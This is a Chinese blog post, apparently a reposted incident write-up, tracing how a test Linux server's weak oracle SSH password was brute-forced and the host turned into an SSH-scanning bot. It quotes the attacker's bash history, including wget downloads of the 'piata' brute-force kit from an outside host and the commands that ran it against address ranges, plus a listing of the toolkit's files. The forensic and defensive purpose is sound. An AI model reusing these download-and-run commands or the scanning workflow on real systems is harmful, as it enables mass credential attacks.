一次服务器沦陷为肉鸡后的实战排查过程!

服务器
今天还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢,无法正常浏览网页。急急忙忙感到公司,开始查找问题。

 1、从防火墙瘫痪说起

今天还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢,无法正常浏览网页。急急忙忙感到公司,开始查找问题。

首先排除了交换机故障,因为内部局域网正常。当ping防火墙设备时,丢包严重。很明显,防火墙出了问题,撑不住了,其Web管理界面根本无法正常登陆。立即联系其服务商远程查找问题,经过近3个小时的分析,得出结论是网内有两台主机大量发送TCP数据包,瞬间就能在防火墙上造成40万链接数,大大超出了防火墙的处理能力,造成无法响应正常路由请求。我们暂且称这两台机器为A和B。把这两台机器断线之后,网路立刻正常了,防火墙上的链接数很快降低到正常水平。

[[267653]]

主机A配置如下:

  1. OS - RedHat Enterprise Linux Server release 6.x 
  2. 部署软件 - Tomcat,sshd, oracle 
  3. RAM - 8GB 
  4. CPU - Intel Core i3-2130 
  5. IP地址 - 172.16.111.22 

主机B为客户托管主机,具体配置不详。

本文只对主机A进行分析处理。

通过防火墙命令行界面,抓包发现A机器疯狂对一组IP地址进行22端口扫描。下面是抓包结果片段:

  1. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0 
  2. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0 
  3. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0 
  4. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0 
  5. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0 
  6. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0 
  7. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0 
  8. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0 
  9. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0 
  10. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0 
  11. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0 
  12. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0 
  13. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0 
  14. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0 
  15. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0 
  16. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0 
  17. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0 
  18. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0 
  19. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0 
  20. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0 
  21. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0 
  22. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0 
  23. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0 
  24. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0 

可以清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22端口。

2、查找黑客行踪的方法

对于Linux主机,出现问题后分析和处理的依据主要是日志。/var/log/messages、/var/log/secure都是必不可少的分析目标,然后就是.bash_history命令记录。黑客登录主机必然会在日志中留下记录,高级黑客也许可以删除痕迹,但目前大部分黑客都是利用现成工具的黑心者,并无太多技术背景。该主机对外开放三个TCP侦听端口:

  1. 22 sshd 
  2. 80 Tomcat 
  3. 1521 Oracle 

这三个服务都有可能存在漏洞而被攻击,最容易被扫描攻击的还是sshd用户名密码被破解。所以最先分析 /var/log/secure日志,看登录历史。

3、沦陷过程分析

3.1 oracle用户密码被破解

分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件,每个文件都记录了大量尝试登录的情况,执行命令:

  1. cat secure-20150317 | grep 'Failed password' | cut -d " " -f 9,10,11 | sort | uniq 

结果如下:

  1. invalid user admin  
  2. invalid user dacx  
  3. invalid user details3  
  4. invalid user drishti  
  5. invalid user ferreluque  
  6. invalid user git  
  7. invalid user hall  
  8. invalid user jparksu  
  9. invalid user last  
  10. invalid user patrol  
  11. invalid user paul  
  12. invalid user pgadmin  
  13. invalid user postgres  
  14. invalid user public  
  15. invalid user sauser  
  16. invalid user siginspect  
  17. invalid user sql  
  18. invalid user support  
  19. invalid user sys  
  20. invalid user sysadmin  
  21. invalid user system  
  22. invalid user taz  
  23. invalid user test  
  24. invalid user tiptop  
  25. invalid user txl5460  
  26. invalid user ubnt  
  27. invalid user www  
  28. mysql from 10.10.10.1  
  29. oracle from 10.10.10.1  
  30. root from 10.10.10.1 

可以看出攻击程序不断采用不同的账户和密码进行尝试。然后在接近尾部的地方发现如下2行,说明被攻破了。

  1. Mar 9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2 
  2. Mar 9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0) 

可见账户oracle的密码被猜中,并成功登入系统。

3.2 黑客动作推演

下面看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止后续操作丢失该记录。

  1. cp /home/oracle/.bash_history hacker_history 

然后查看分析这个文件。 我在后面备注了黑客的想法。

  1. vi .bash_profile 
  2. vi .bash_profile (查看.bash_profile,看变量设置,把/home/oracle/bin增加到PATH) 
  3. ll 
  4. cd / 
  5. vi .bash_profile 
  6. vi .bash_profile (执行,设置环境变量) 
  7. ps x (查看系统运行进程) 
  8. free -m (查看内存大小) 
  9. uname -a (查看系统版本) 
  10. cat /etc/issue (查看系统发行版) 
  11. cat /etc/hosts (查看是否有网内机器) 
  12. cat /proc/cpuinfo (查看CPU型号) 
  13. cat .bash_history (查看oracle账户历史操作) 
  14. w (查看系统负载) 
  15. ls -a (查看/home/oracle/下的隐藏文件) 
  16. passwd (修改掉oracle账户的密码) 
  17. exit  
  18. ls  
  19. oracle 
  20. sqlplus (运行sqlplus) 
  21. su (试图切换到root账户) 
  22. app1123456 (猜测root密码) 
  23. ls  
  24. su - 
  25. free -m 
  26. php -v (查看php版本) 
  27. exit 
  28. free -m 
  29. php -v 
  30. ps aux 
  31. ls -a 
  32. exit 
  33. free -m 
  34. php -v 
  35. cat bash_his (查看历史命令) 
  36. cat bash_history 
  37. cat .bash_history 
  38. wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包) 
  39. tar zxvf piata.tgz (解压软件包) 
  40. rm -rf piata.tgz (删除软件包) 
  41. cd piata/ (切换到攻击软件目录) 
  42. ls -a 
  43. chmod +x * 
  44. ./a 210.212 (运行攻击软件) 
  45. screen (试图运行screen命令,发现没有后下载它) 
  46. ls -a 
  47. wget scriptcoders.ucoz.com/screen.tgz 
  48. tar zxvf screen.tgz (解压) 
  49. ./screen 
  50. exit 
  51. ps x 
  52. cd piata/ (切换到攻击软件目录) 
  53. ls -a 
  54. cat vuln.txt (查看攻击结果) 
  55. ls -a 
  56. mv vuln.txt 1.txt (保存攻击结果) 
  57. ./screen -r 
  58. nano 1.txt (查看结果文件) 
  59. ps x 
  60. exit 
  61. cd piata 
  62. ps x 
  63. ls -a 
  64. nano 2.txt 
  65. exit 
  66. ps x 
  67. cd piata/ 
  68. ls -a 
  69. cat  
  70. mv vuln.txt 2.txt (保存结果) 
  71. nano 2.txt 
  72. ps x 
  73. cd piata/ 
  74. ls- a 
  75. cat vuln.txt  
  76. rm -rf vuln.txt  
  77. ./screen -r 
  78. exit 
  79. ps x 
  80. cd piata/ 
  81. ls -a 
  82. cat vuln.txt  
  83. ls -a 
  84. mv vuln.txt 3.txt (保存结果) 
  85. nano 3.txt  
  86. exit 
  87. ps x 
  88. cd piata/ 
  89. ls -a 
  90. cat vuln.txt  
  91. rm -rf vuln.txt  
  92. exit 
  93. ps x 
  94. cd piata/ 
  95. ls -a 
  96. cat vuln.txt  
  97. rm -rf vuln.txt  
  98. rm -rf 1.txt  
  99. rm -rf 2.txt 
  100. rm -rf 2.txt.save  
  101. rm -rf 3.txt  
  102. screen -r 
  103. ./screen -r 
  104. exit 
  105. ps x 
  106. cd piata/ 
  107. ls -a 
  108. cat vuln.txt  
  109. ls -a 
  110. nano vuln.txt  
  111. rm -rf vuln.txt  
  112. screen -r 
  113. ./screen -r 
  114. exit 
  115. ps x 
  116. cd piata/ 
  117. ls -a 
  118. cat vuln.txt  
  119. nano vuln.txt  
  120. ls -a 
  121. rm -rf vuln.txt  
  122. screen -r 
  123. ./screen -r 
  124. exit 
  125. ps x 
  126. cd piata/ 
  127. ls -a 
  128. cat vuln.txt  
  129. rm -rf vuln.txt  
  130. ps x 
  131. ls -a 
  132. ./screen -r 
  133. exit 
  134. ps x 
  135. cd piata/ 
  136. ls -a 
  137. cat vuln.txt  
  138. nano vuln.txt  
  139. rm -rf vuln.txt  
  140. ./screen -r 
  141. exit 

3.3 攻击工具一览

前面通过命令历史记录,可以看出攻击工具软件包为名为piata。下载来看看它的面目。

  1. [root@localhost piata]# ll 
  2. total 1708 
  3. -rw-r--r--. 1 oracle oinstall 0 Mar 10 13:01 183.63.pscan.22 
  4. -rwxr-xr-x. 1 oracle oinstall 659 Feb 2 2008 a 
  5. -rwxr-xr-x. 1 oracle oinstall 216 May 18 2005 auto 
  6. -rwxr-xr-x. 1 oracle oinstall 283 Nov 25 2004 gen-pass.sh 
  7. -rwxr-xr-x. 1 oracle oinstall 93 Apr 19 2005 go.sh 
  8. -rwxr-xr-x. 1 oracle oinstall 3253 Mar 5 2007 mass 
  9. -rwxr-xr-x. 1 oracle oinstall 12671 May 18 2008 pass_file 
  10. -rwxr-xr-x. 1 oracle oinstall 21407 Jul 22 2004 pscan2 
  11. -rwxr-xr-x. 1 oracle oinstall 249980 Feb 13 2001 screen 
  12. -rw-r--r--. 1 oracle oinstall 130892 Feb 3 2010 screen.tgz 
  13. -rwxr-xr-x. 1 oracle oinstall 453972 Jul 13 2004 ss 
  14. -rwxr-xr-x. 1 oracle oinstall 842736 Nov 24 2004 ssh-scan 
  15. -rw-r--r--. 1 oracle oinstall 2392 Mar 10 05:03 vuln.txt 

其中 a, auto, go.sh gen-pass.sh, 都是bash脚本文件,用于配置扫描网段,调用扫描程序。pscan2和ssh-scan则为扫描程序。 vuln.txt记录获得的肉鸡列表。

目前尚未发现其他系统文件被黑客修改,也没有自动运行攻击软件的设置。

4 深刻教训

虽然这次被攻击的机器只是一个测试主机,其本身的重要性并不高,但却造成了防火墙的瘫痪,进而造成互联网不能正常访问。对此,必须引起足够重视,并从中汲取教训。

系统账户密码一定要有一定的复杂度。这次攻击就是由于oracle账户密码过于简单所致。

sshd采用密码方式登录风险很大,特别是密码简单的时候。可行的情况下,尽量关闭密码方式,改用公钥方式。

作为数据中心管理员,一定要监督监管系统管理员和软件开发商的服务安全,本次被攻击主机就是把所有权限都放给了网站开发公司,而开发公司对运营安全并不重视。

责任编辑:武晓燕 来源: 民工哥技术之路
相关推荐

2018-11-13 10:44:23

Linux服务器双网卡网络

2017-12-19 14:00:16

数据库MySQL死锁排查

2021-11-23 21:21:07

线上排查服务

2018-07-20 08:44:21

Redis内存排查

2022-10-25 08:56:16

2019-04-15 13:15:12

数据库MySQL死锁

2013-09-13 09:27:42

服务器LinuxApache

2018-11-08 12:27:02

十字符病毒云服务器

2014-05-22 13:28:41

2015-04-24 10:57:41

2020-10-30 14:11:38

服务器SDK堆栈

2010-04-28 17:14:52

Google服务器

2023-01-04 18:32:31

线上服务代码

2020-03-22 15:17:17

服务器科技芯片

2013-12-24 13:59:03

2018-08-28 09:57:20

病毒服务器

2020-04-03 10:25:10

服务器排查工具

2018-03-02 10:42:44

2019-06-11 09:23:38

2016-09-08 22:54:14

点赞
收藏

51CTO技术栈公众号